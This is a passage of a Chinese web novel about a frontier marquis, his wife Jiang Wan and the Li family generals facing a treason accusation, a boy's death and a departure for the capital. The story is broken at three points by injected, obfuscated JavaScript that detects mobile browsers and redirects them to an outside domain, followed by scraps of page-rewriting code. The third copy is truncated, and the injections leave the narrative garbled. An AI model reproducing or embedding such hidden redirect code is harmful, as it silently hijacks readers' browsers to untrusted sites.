李孟杨，李老将军李伯槐的胞弟，于萧李两家的关系而言，他既是萧家麾下得力的镇关将领，又是晚辈们敬重的长辈，即便是萧家长子萧翊，在世时也要恭恭敬敬称他一声“李叔”。 自三年前那场血战后，他便奉命戍守北境苍梧关。 若无调令，戍边将领不可擅离防地。数载寒暑以来，他从未离开关卡半步，如今竟连夜从千里之外的苍梧关奔回。 萧砚眉头几不可察地一动，目光无声地落在这位不速之客身上。 李孟杨拨开还在试图阻拦的守卫，并未直接回答李绍英，他语气中怒意不减：“我堂堂李家世代忠良，为国守边数载，怎么可能出现屈膝通敌之辈！那帮宵小之辈竟敢如此污蔑忠良之后！” 说到激愤处，他竟倏然拔出腰间佩刀，刀光将他眼中怒火衬得更甚。 他转头看向李绍英：“绍英，到底是谁在背后污蔑构陷，你告诉李叔，李叔拼了这条老命也要剁了他！” 在日光下泛出森冷寒光，映照出姜晚凝重的面容。 意识到这样下去不行，姜晚刚想出言相劝，却被萧砚抢了先。 “李孟杨。” 萧砚的声音不高，却骤然截断李孟杨的滔滔怒斥。 他抬眼，幽寒的目光看向那位盛怒之中的将军，如同冰雪倾覆在爆开的炭火之上，让熊熊烈火瞬间敛了势头。 李孟杨收了声，唯有颤抖的双拳还昭示着他怒意未熄。 “此刻你本该在苍梧关，却无令擅离防地。御史及巡抚尚未归京，多少双眼睛都在盯着李家的一举一动。你此举，与授人以柄何异？莫非真是坐实李家怀有异心？” 萧砚语气冷硬，丝毫没有顾及过往的交情颜面，只有对犯错下属的公事公办。 “京中御史代表圣意，你出言不逊，带甲入城，欲图刀剑相向，可是打算违抗君令？” 李孟杨被萧砚的责问噎住，在原地怔愣着，一时无言以对。 深不见底的眸子紧紧锁住李孟杨的眼睛，再度开口，铿锵有力： “卸甲！” 两个字掷地有声，落在地上重如千钧，沉甸甸的。虽无波澜，却带着沉肃的威严。 周遭的温度瞬间降到冰点，气氛凝重，落针可闻。 姜晚心头微动，这还是她第一次看到萧砚如此冷硬。上次听到他这般语气，还是她第一次口出狂言要他站起来的时候。可即便是那时，也不似现在这般寒意凛人。 看来这次他是真的动了气。 几息后，李孟杨似乎终于被萧砚不容抗拒的言辞拽出理智。李孟杨猛吸一口气，胸膛剧烈起伏了几下，将心中所有沸腾的烈火强压下去。 迎上萧砚的目光之后，李孟杨才猛然意识到，凭萧李两家的交情，自己虽算是看着小辈长大的长辈，免得能担得起一声“李叔”。但在公务上，萧砚是定北侯，是执掌北境军政的主帅，而自己则是他麾下将领。 自己无令擅归、带刀无诏闯府，此举已是僭越。 李孟杨终于彻底冷静下来，他收了刀，抱拳沉重一礼，声音因方才的怒喝略带沙哑： “末将……遵命。” 他抬手解下铠甲，又取下佩剑交给一旁的守卫。 “末将离关之前已做妥帖布置，防务并无疏漏。至于无令擅归一事，末将自愿去军法司，按军中规矩领罚。” 言毕，他挺直脊背，转身便要离去。 “慢着。” 萧砚叫住了他。 “军中动荡，已不宜再生事端。事急从权，你的罪责暂且记下，待事态平息之后，再做论处。” 李孟杨顿时僵在原地，双拳攥起又松开，看不清脸上神情。只见他闻言转身，单膝点地，语气中带着难掩的愧色： “是我鲁莽了，考虑不周。” 他语气越发诚恳： “我此次前来，别无他求，只是想恳请侯爷务必彻查此事，莫要让我兄李伯槐之子，背上这莫须有的罪名。” 李伯槐的名字入耳，姜晚的目光沉了沉，不由自主地被勾起那点零星的回忆。 “……李叔，”萧砚默然了一瞬，姜晚仿佛能听到他叹了口气，轻得像落羽，“我已着人调查此事，若是有证据证明那封密信是刻意污蔑，定不会使忠骨蒙冤。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176226|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李孟杨再次郑重一礼，便转身离开了此地，背影不再似方才那般充满怒气，只显出一派孤寂萧索。 从刚才的交谈中，姜晚已经大致了解了事情的脉络。 姜晚也不能相信这件事真的，不说李老将军乃至北境无数将士都亡于敌手，就说一个为护卫边疆从尸山血海里爬出来的人，怎么可能会通敌？ 姜晚问李绍英：“李绍荣现在在哪？” 李绍英沉声道：“暂时被关在军牢中。不过看守的士兵说，过几日便要押入京中诏狱，交由大理寺与刑部共同调查此事。” “这怎么行？”姜晚蹙眉，“京中鱼龙混杂，各方势力盘根错节，若是真有人蓄意构陷，把人送进诏狱，岂不是任由他们坐实罪名？” 李绍英也担忧道：“这也是我们最担心的地方。” 萧砚这时发话：“当务之急，还是先去见他一面，问清原委为好。” —— 军牢依旧和从前一样，没什么变化，阴暗无光，只有通道两侧的壁灯散发出幽幽光线。 姜晚没想到再次踏入阴暗潮湿的军牢，竟是在这种情况下。 军牢中的看守都是自己人，因此并没有苛待李绍荣。他在牢中并没有受刑，也没遭受什么别的苦楚，只是换了身粗布囚服。 看起来虽有倦色，但精神头还不错。 此刻他正躺在草垛上，竟像是睡着一般，没有一点蒙冤下狱的悲愤。 李绍英见状，之前才升起的担忧之意霎时一扫而空，她抬脚轻踢了下牢门：“还睡，我看你是不见棺材不落泪，死到临头了都不知道。” 牢门的声音哗啦作响，他揉了下眼睛爬起来，看到几人的身影似乎还有些意外，但他还是选择先回嘴： “怕什么？我身正不怕影子斜。就凭那张什么都没写明白破纸，还真能给我扣上通敌的罪名不成？” 李绍英已经习惯了他的性子，轻叹道：“但愿到时真进了诏狱，落到那些酷吏手里时，你还能这么嘴硬。” “圣上圣明，定然不会让咱们边关将士寒心。” 说着，他又注意到萧砚，兴冲冲地问道：“唉对了，你这腿练了这么久，怎么样了？” “能骑马了吗？” 听到这话，萧砚眼皮都没抬：“不能。” 李绍荣不死心，退而求其次，又问：“那能像从前那样自如走动吗？” 萧砚如实道：“……不能。” “嗐，这有什么！”虽然得到的都是否定的答复，李绍荣却毫不在意，他语气十分笃定，“我相信以你的底子和夫人神乎其技的本事，这些你用不了多久，肯定都能做到！” “说不定等我洗清嫌疑出去后，就能看到你重新跨上战马了。” 姜晚听到这番夸赞的话，心头莫名舒坦了很多，不得不承认，这情绪价值真的拉满了。 他的话倒让牢中阴郁的气氛轻松几分，萧砚终于看向他，沉声打断道：“够了，先说正事，那封从你那里搜出来的密信，是怎么回事？” 李绍荣回答：“我哪知道，我都没见过那东西，谁知道是哪个天杀的栽赃陷害，偷偷塞我屋里的！” 姜晚飞快回想着从前在小说中看到的构陷情节，追问道：“近来可有接触什么可疑之人？或者……有没有结怨的仇人？” “仇人……真没有，”李绍荣一脸茫然，“咱们军营里的都是相亲相爱一家人，怎么可能害我？” 说着他突然想起了什么，对李绍英道：“对了，十二呢？怎么不带他来看看我？” 34.御史 李绍英闻言一怔，随后才想起那个孩子：“今日你一出事我便去了侯府，心中一急，倒把他忘了。” “你快去把他寻来，”李绍荣直起身子，那张素来漫不经心的脸上，此刻终于多了几分肃然，“当时那帮人带刀闯进来的时候，他也在场，还被呵斥了一通。他年纪小，一个人在外面别吓着。” 他仍然记得，密信被搜出的时候、刀剑架在他脖颈上的时候，那孩子全都看在眼里。随后便跌跌撞撞地跑了出去，最后留给他的是一个颤抖着消失的背影。 脑海中再次浮现出那张惨白的脸色。 应是给这阵势吓坏了。 他想。 李绍英颔首应下，转身快步离开军牢，准备去寻那个孩子。 姜晚和萧砚又和李绍荣交谈了几句，几番言语往来间，并没有发现有用的线索。 暮色降临，家家户户都点上灯火。今夜的晚风不大，吹在脸上却如钝刀割肉，更觉寒意彻骨。 军中的动荡尚未波及市井，没人细想为何近日城门盘查如此严苛，也没人深究巡边的队伍怎的都换了生面孔。 东侧的街市上依旧繁华，夜市里喧闹非凡，各种店铺敞着门迎客。灯火从街头一直延伸到巷尾，耳边盈满孩童的嬉闹喧笑声。 若是以往，看到这般阖乐的情形，她定会好好欣赏这番苦心经营的成果。 可现在她连多看一眼的兴致都没有。 来到这个世界这些时日，她没吃过猪肉也见过猪跑。这桩事若是得不到妥善处理，牵一发而动全身，定然会牵动北境局势。 姜晚推着萧砚隐在来往行人中，眉宇间凝满忧色： “若是在御史回京之前没有可以证明李绍荣无罪的证据，会有什么后果？” 萧砚的声音混在晚风里，清晰地传入姜晚耳中：“除去李绍荣入诏狱受京中会审外，李绍英首当其冲停职待查。若有人借机发难，李家将领都会受牵连停职彻查。” 北境军中，除去当年的镇北军余部，最重要的力量便是李家的势力。 姜晚眉头拧得更深：“那北境边防岂不是要大换血？” 萧砚沉默着，不置可否。 “那你呢？” 这个问题，姜晚几乎没有经过思考，下意识脱口而出。 萧砚指尖蜷缩了一下，他微微侧过脸，正好能看到姜晚眼中担忧的神情。 重重灯火在身后跳动闪烁，为姜晚的面容描上一层柔光。 姜晚能看出来，他们明面上动的是李家，暗地里却是冲着侯府来的。在北境谁人不知，李家是定北侯最锋利的剑，是得以平定边关的左膀右臂。 剪除羽翼，失去兵权倚仗的定北侯，何以定得住北境千里边关？ 李家是护城的墙，墙倒了，屋子里的人自然无法独善其身。 萧砚自然想到了这一点，只是似乎没想到她会如此直白地问及自己的安危。 “不对吗？他们现在敢动李家，下一步必然是你，”姜晚非常笃定，“你是北境的统领，他们若有意使不得安宁，又岂会放过你？” 萧砚收回目光，看向漆黑的天边，说道：“这要看他们能查出什么。若最终证实只是污蔑构陷，至多判个监察不严之罪，罚俸申饬便可了事，倒是无关痛痒。” “可若他们坐实了通敌，麾下将领通敌，统帅岂能无罪。削爵夺权，恐怕只是最轻的发落。” 听到这话，姜晚心头瞬间紧绷起来，早上系统的异动突然浮现在脑海中，不由得让她多想。 指数下降意味着百姓福祉遭到威胁。 现在军中动荡，边关防务势必空虚。若是再让有心人钻了空子，致使无人主持大局，定是胡人再次发难的最好时机。 若是真让那帮人得逞，她岂不是前功尽弃了？ 说话间，两侧熙熙攘攘的人声渐渐褪去，两人拐入一条烛火昏暗的巷子。 巷尾尽头，侯府的灯火在黑暗中时明时灭，仿佛是这片浓郁夜色中挣扎着的唯一的光。 周叔在门前来回踱步，不时朝巷口张望，一见到他们的身影，便连忙迎上来道： “侯爷，夫人，御史台的人到了。” 姜晚心头一沉。 该来的还是来了。 萧砚道：“来了多久？” “回侯爷，不到一盏茶的功夫，现在正在厅中候着。” “来了几人？” 周叔答道：“只御史中丞一人，未带随从。” 萧砚微微颔首，心中已有定数。 正厅中灯火通明，一人负手立于堂中，正在细细观摩一副北境舆图。 那人听到动静转过身来。 素白裘袍，锦带束腰，身姿挺拔如孤松立雪，眉眼间尽显书卷气。 看到主人到来，他旋即上前一步，拱手一礼，不卑不亢： “御史中丞言慎，见过侯爷、夫人。” 萧砚抬手虚扶：“言大人不必多礼。” 姜晚对萧砚微微点头，随后随即敛衽一礼，转身走出正厅，但并未真正退下。她步伐一转，拐到了正厅旁边用以小憩的耳房。 此处与正厅仅相隔一层薄薄的帘幕，可以清楚听到里面的谈话声。 厅内，萧砚待言慎落座，便开门见山道：“御史大人深夜到访，可是为李绍荣之事？” “正是。只是此番前来，不是以御史台的名义，而是以私人身份来访，想向侯爷叨扰几句。” 姜晚静静听着。 “我想知道，侯爷与李将军共事十余载，他若有异动，侯爷当真毫无察觉？” 姜晚在旁听着，心中暗自感慨，李绍荣说的没错。 这位御史当真言辞犀利，竟隐隐将侯府拖进知情不报的嫌疑里，字里行间都似往通敌的罪名上攀扯。 “李家不可能通敌。” 言慎：“侯爷竟如此笃定？” “我已着人调来李绍荣三个月巡边记录，每次巡边的路线时辰、随行士卒，以及途中所为之事，皆记录在册。” “言大人若信不过，可传北营巡边士卒对峙，看他何时有机会私会胡人信使。” 言慎：“侯爷明鉴，可那封信，委实辩无可辩。” “若是仅凭一封写着胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186244|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语，没有署名，甚至连印鉴笔迹都无从查起的书信，便要定通敌之重罪，御史台何时变得如此轻率？” “李家戍守北疆向来别无二心，若有通敌之辈，不须陛下降罪，我自当第一个清理门户，引颈就戮以谢天下。” 厅内陷入长久的沉默。灯火时明时灭，将人影映得忽短忽长。 姜晚屏息凝神，以为会迎来对方更激烈的发难，没想到言慎听到萧砚的话后，竟轻轻地松了口气，如释千钧： “……我也不信。” 萧砚并未回应，似乎在判断他语中真假。 言慎郑重地重复了一遍，以示诚恳：“我也从未信过，李家会出通敌叛国之辈。” 姜晚能从他的言语中听出几分无奈：“我此番前来，本意并非问罪，而是想与侯爷商议，如何能在朝廷法度之内查明此案，还李将军一个清白。” “只是……”他顿了顿，“没想到，竟有人越过有司，将此事直接捅到了御前。” 他叹了口气：“风波已起，现今的局面，已不是我一个御史中丞能够左右的。” 姜晚已经从中听出他的意思：李绍荣离开北境，赴京受审，已经避不开了。 接下来的谈话声姜晚已经没心思听了，只能捕捉到只言片语，似乎是言慎在言说京中形势以及打点安排。 灯花如豆，映出一室昏黄。待言慎告辞后，姜晚掩口打了个呵欠，随后迫不及待地掀开帘幕走进厅中。 “这位御史中丞可信吗？” 萧砚对姜晚的出现并不意外，仿佛知道她不会真的离开。 他颔首道：“他祖父是言澈。” “言澈？”姜晚努力回想这个名字，而后惊异地睁大双眼，“是前朝那位铁骨铮铮的首辅？” 哪怕原主是个深闺女子，这个名字也深深刻印在她的记忆里。 暴君楼氏骄奢淫逸，败坏朝纲。首辅言澈只因直言进谏，便触怒龙颜，致使全族流放岭南，自己也于中途郁郁而终。 言家累世公卿，是有名的清流世家，族中有多位名臣以血明志，在朝堂上死谏而亡。言澈更是担任前朝首辅，门生故吏遍及朝野，可以说是前朝的脊梁。 言家的惨剧便如一条导火索，彻底点燃满朝积压已久的愤慨，此后藩王离心，异姓王晟王起兵，短短五年时间便将燕王楼遥逼退至塞北，最终高坐明堂。 萧砚提及言澈便已足够。 单单这一个姓氏所铸就的风骨与气节，便足以令人信服。 即便如此，姜晚依旧忧色未散，心头仿佛仍有块不安的石头压着。 言慎方才离去片刻，姜晚正准备也辞别离去，却见周叔急匆匆地跑来：“李绍英李将军来了！” 他刚通传完毕，李绍英便一身寒气闯进来，隐隐裹挟着微弱的血腥气。 姜晚循声望去，才看到李绍英一双手沾满鲜血，指间坠下半枚玉佩，正随着她的呼吸不住摇晃。 那半枚玉佩已经断裂，裂口参差不齐。 丝丝缕缕的鲜血如同一张细密的网，沿着纹路蔓延开来，将原本的奶白色裹成殷红，触目惊心。 35.辞别 十二死了。 死在城中最高的那座钟楼下。 他穿着最初的那件不合身的黑衣，像寻常一样躲过守卫的视线，一步步登上高耸的钟楼。宽大的衣裳被风鼓起，像一片自空中飘零而下的落叶，直直坠落在她眼前。 离刚停稳的马蹄仅有丈余的距离。 钟楼离城门不远，人潮如织，来来往往的都是出城入城的行人商旅，喧嚣声搅作一团。 “嘭——” 一声闷响炸开，不轻不重，像一块寒冰投入滚水，瞬间浇灭满街的喧闹。千百道目光仿佛被丝线牵引着，不约而同地投向声音来处。 自然包括找遍整座城，刚打马来到此处的李绍英。 “夫人，侯爷……” 李绍英脸色比锅底还黑，紧咬后槽牙，艰难地从齿缝中挤出几个字。 她一字一顿道： “我要进京。” 她握紧手中的玉佩，指甲深深嵌进肉里，一丝鲜红沁出，与手上半干不干的血迹混在一起，一时分不清到底是她的，还是十二的。 闻言，姜晚难以置信地注视她片刻，随后上前一步，伸手抓住她的胳膊，蹙眉道： “为何如此突然？此事形势尚未分明，你这般行事岂不是把自己往陷地里推？” 李绍英胸膛起伏，好半天才吐出一口气说道：“夫人不知，我奔到十二身旁的时候，他还有一口气，他说……” 她眸光微动，那幅惨痛的画面仿佛再次浮现在眼前。 彼时，十二苍白面颊的被殷红的鲜血染透，连眼白都充满刺目的红。听到她扑来的声音，他费力地偏过头望向她。 涣散的眼底翻涌出浓稠的歉疚，嘴唇艰难地翕动着，发出断断续续的抽气声，一开一合间吐出血沫。 她连忙俯身贴近，几乎要贴上他的唇瓣，才听清那破碎的气音： “对不……起，我不知道会这样……” 后半句话没能吐出，在最后一缕气息逸散的刹那，他喉间溢出一声极轻的呼唤。 “姐姐……” 她以为唤的是她。 可在那双眸子失去光泽的瞬间，她才猛然发觉，那目光越过她的肩头，直直投向的是南方。 那是京城的方向。 讲述完那番刻骨的场景后，她缓缓抬起手，掌心向下，松开紧握的右拳，残玉自她指间坠下： “这是在十二那里发现的，他攥得很紧，手指都掰不开。我已找京中懂行的人看过，这玉佩无论是质地还是纹路，都是京里惯用的样式。” “而且……” 她语气稍顿，又将十二近些日子的怪异之处都一一讲给了他们二人听。 姜晚听后气血翻涌，忍不住低声斥骂道：“到底是什么人如此歹毒，竟连一个半大的孩子都不放过，下这样的毒手？” 她下意识绞紧衣袖，再仔细一想，顿时觉得脊背发寒。 十二是她们在玉门附近发现的，如此说来，兴许早在那时，便有人在暗中盯上了她们的行踪。 十二或许是唯一真相的人，可惜已经死无对证。 否则定然能揪出究竟是谁在背后搞鬼。 夜静更阑，连丝风声都没有，唯有李绍英的声音沉沉响起： “我心意已决，现今朝堂之上本没有我们的人，这幕后之人又藏得极深，底细尚未可知。我兄长若是被他们押送回京，岂不是与自投罗网无异？” “在他们的地盘上，编排罪名污蔑构陷，简直易如反掌。” 李绍英的声音又冷了几分，昏暗的烛火在她眼中跳动，映出决绝之色： “所以，我必须进京。” 姜晚点了点头，这话说得不假。 如今所有线索都指向京城，甚至指向错综复杂的朝堂深处。 萧李两家远调北境，早已被排挤出权力中心远离。庙堂之高，不说他们已失去朝申辩的先机，就连探听朝中动向都难如登天，处境异常被动。 只是…… 她依旧记得皇帝那句冷漠的圣谕： “无诏，不必进京。” 萧砚的声音恰在此时响起，与姜晚的顾虑不谋而合，平静地点出最致命的一处疏漏： “即便你侥幸入京，又能以何种身份行事？” “没有谕令，便是无名无分。一介边将私入帝都，与亲手将罪证送入敌手何异？” 李绍英回道：“更名改姓并非难事，潜行暗查虽说不易，但总好过坐以待毙。” 她的声音斩钉截铁：“侯爷若是忧心此举会牵连北境，大可放心。若有差池，我李绍英一人担责，当自绝于京师，绝不连累北境。” 姜晚望着李绍英决然的眉眼，心中纵有千万句劝阻之语，也最终湮灭无声。 这是一招险棋，也是一场狂赌。 赢，可寻得生机。输，则坠入万劫不复。 姜晚恍惚间听到一声极轻的叹息，萧砚看着李绍英眼底孤注一掷的果决，许久才颔首道： “你若心意已决，便去吧。” 得到首肯，李绍英对二人郑重拱手，随后又深深躬身一揖。抬头时目光和姜晚对上，她稍作停留了一瞬，眸中千言万语化作一个轻轻的颔首。 随即她转身退出此间，消失在浓郁夜色中。 门轴转动发出轻响，厅中烛火摇曳。 今夜无人安眠。 —— 御史在此调查完毕后，便回京复命。 言慎果真是个可信之人。 他在朝中上疏陈奏此事的诸多疑点，京中最终批复未牵连所有李家将领，只是对身为李绍荣直系亲属的几名将领做了盘查。 盘查者没有从李绍英那里查到罪证，她本身并无嫌隙，可毕竟与李绍荣是手足。为避瓜田李下之嫌，李绍英主动请离，暂时免去军中任职。 对外，她称自己心绪不宁，想外出闲游些时日，换换心情。 实则，却在暗中筹划进京一事。 日期便选在今日。 姜晚决定送送她。 自己来到北境后，李绍英帮过她许多忙，她还没来得及好好答谢。此次一别，不知何时才能再见，于情于理，她都觉得自己该在临行前亲自送李绍英一程。 天刚破晓，晨露凝在草木上，携着北境独有的清寒。 姜晚来到李绍英的大营外，远远地看见她牵着那匹黑马站在晨光里，一囊一骑，行装简单。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199299|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她身边围着四五个女兵，正凑在一起说着什么，看那熟稔亲近的模样，似乎是她的亲卫。 “将军你路上可要小心点啊，记得早点回来！” “是啊是啊，我在行囊底下放了些肉干奶饼，记得吃啊，苦什么都不能苦肚子！” “嘿！净放你爱吃的！将军不喜欢奶饼！” “那是因为没吃过我做的！” …… 女兵们你一言我一语地吵闹着，李绍英则在一边轻抚黑马顺滑的鬃毛，一边静静看着她们吵嘴。 最后，等她们闹得差不多了，她才缓缓开口：“话多。” 李绍英的声音依旧清清冷冷的，轻易平息了她们的喧闹：“记得看好军营，等我回来。若是有人敢偷懒懈怠……” “知道知道，”她们默契回答，“回来罚我们跑圈嘛！” 她们爽快热烈的笑声在晨寒中传来，微微冲散了离别的沉郁，也隐隐透露出浓浓的不舍。 姜晚听到时，心头也涌上暖意。 李绍英抬眼，正好看到走进营中的姜晚，脸上浮现出惊讶的神色。 “夫人怎么来了？” 闻言，她身旁的女兵瞬间收起玩笑的神色，在姜晚面前顿时转变成沉稳可靠的形象。 姜晚朝她们笑了笑，直接道明来意： “知你今日要走，我特意来送一送。” 她垂眸看向李绍英简陋的行囊，随即从布包中取出一个小巧的包裹递给李绍英： “周叔告诉我你不喜麻烦，我便只为你准备了些耐存的干粮。里面还有一些是我差楚大夫配制的御寒暖身的药。路上天寒地冻的，记得用上。” “有事别忘了来信。” “……多谢夫人关怀。” 李绍英微微躬身，双手郑重地捧过包裹，眼底的风雪被春风融化，漾起暖意。 直起身收好包裹，她抬手招来两名女兵，对姜晚介绍道：“这两位是张副将和吴校尉。我不在时，暂时由她们两人接管军中事务。夫人若有需要，可随时唤她们二人相助，不必客气。” 被点名的两名女兵出列，在姜晚面前稳稳站定，身姿挺拔如松，齐齐抱拳行礼，声音洪亮： “见过夫人！” 姜晚对二人温和一笑，颔首道：“好，你们两个，我记下了。” 阳光逐渐破开晨雾，将金色的流光撒向苍茫大地。 李绍英不再耽搁，与姜晚她们简单道别后，便翻身上马。她轻振缰绳，黑马扬蹄长嘶一声化成一道劲风，载着她向天边疾驰而去。 行出数十丈，她勒紧缰绳，又回头望了她们一眼。只一瞬，她便再度扬鞭转身，策马隐入奔腾的烟尘之中。 姜晚伫立在原地，一直目送着那个熟悉的身影越来越小，而后逐渐缩为一个融入天际的小墨点，最终彻底消失在大道尽头。 此去京师前途未卜，而她却义无反顾。 如此决绝果敢，恐怕世间无人能及。 姜晚由衷感慨着，心中生起几分敬佩。她转身正准备回去，却忽然瞥见营外那棵枯败的老槐树下，有一抹青灰色的身影。 那个身影似乎察觉到她的视线，不愿被人撞见似的，转身欲走。